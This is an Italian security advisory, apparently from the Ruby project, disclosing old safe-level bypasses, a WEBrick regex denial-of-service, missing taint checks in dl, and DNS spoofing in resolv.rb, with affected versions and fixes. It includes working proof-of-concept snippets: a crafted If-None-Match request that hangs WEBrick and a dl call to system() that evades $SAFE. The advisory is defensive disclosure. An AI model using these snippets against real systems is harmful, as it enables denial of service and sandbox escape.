Multiple vulnerabilità in Ruby

Multiple vulnerabilità sono state scoperte in Ruby. Si raccomanda di eseguire un aggiornamento alle ultime versioni.

Dettagli

Le seguenti vulnerabilità sono state scoperte.

Molteplici vulnerabilità nel safe level

Molteplici vulnerabilità nel _safe level_ sono state scoperte:

  • untrace_var è permesso in safe level 4.

    trace_var(:$VAR) {|val| puts "$VAR = #{val}" }
    
    Thread.new do
     $SAFE = 4
     eval %q{
       proc = untrace_var :$VAR
       proc.first.call("aaa")
     }
    end.join
    
  • $PROGRAM_NAME può essere moficato in safe level 4.

    Thread.new do
     $SAFE = 4
     eval %q{$PROGRAM_NAME.replace "Hello, World!"}
    end.join
    
    $PROGRAM_NAME #=> "Hello, World!"
    
  • Metodi non sicuri possono essere chiamati in safe level 1-3.

    class Hello
     def world
       Thread.new do
         $SAFE = 4
         msg = "Hello, World!"
         def msg.size
           self.replace self*10 # replace string
           1 # ritorna la dimensione sbagliata
         end
         msg
       end.value
     end
    end
    
    $SAFE = 1 # o 2, o 3
    s = Hello.new.world
    if s.kind_of?(String)
     puts s if s.size < 20 # Stampa una stringa la cui lunghezza è inferiore a 20
    end
    
  • Syslog operations are permitted at safe level 4.

    require "syslog"
    
    Syslog.open
    
    Thread.new do
     $SAFE = 4
     eval %q{
       Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
       Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
       Syslog.info("masked")
       Syslog.close
     }
    end.join
    

Queste vulnerabilità sono state notificate da Keita Yamaguchi.

Vulnerabilità DoS in WEBrick

WEBrick::HTTP::DefaultFileHandler è soggetto a richieste che occupano tempi esponenziali dovute a un'espressione regolare retroattiva in WEBrick::HTTPUtils.split_header_value.

Server vulnerabile:

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

Attack:

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

È possibile che questa richiesta abbia bisogno di un tempo infinito.

Questa vulnerabilità è stata notificata da Christian Neukirchen.

Mancanza di controlli di _taintness_ in dl

dl non controlla la _taintness_, e questo potrebbe permettere la chiamata di funzioni pericolose.

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

Questa vulnerabilità è stata notificata da sheepman.

Vulnerabilità di spoofing del DNS spoofing in resolv.rb

resolv.rb permette ad utenti remoti di mascherare le risposte del DNS. Questo rischio può essere ridotto randomizzando le ID di transazione e le porte sorgenti, così resolv.rb è stato corretto per fare proprio questo.

Questa vulnerabilità è stata notificata da Tanaka Akira.

Versioni di Ruby vulnerabili

serie 1.8
  • 1.8.5 e precedenti
  • 1.8.6-p286 e precedenti
  • 1.8.7-p71 e precedenti
serie 1.9
  • r18423 e precedenti

Soluzione

serie 1.8
Eseguire l'agggiornamento a 1.8.6-p287 o 1.8.7-p72.
serie 1.9

Eseguire un checkout dell'ultima versione tramite Subversion.

$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby

Nota che un pacchetto che corregge questa vulnerabilità potrebbe essere già disponibile attraverso il tuo software di package management.

Crediti

Un sincero ringraziamento a Keita Yamaguchi, Christian Neukirchen, sheepman, e Tanaka Akira per aver notificato questi problemi al Ruby Security Team.

Cambiamenti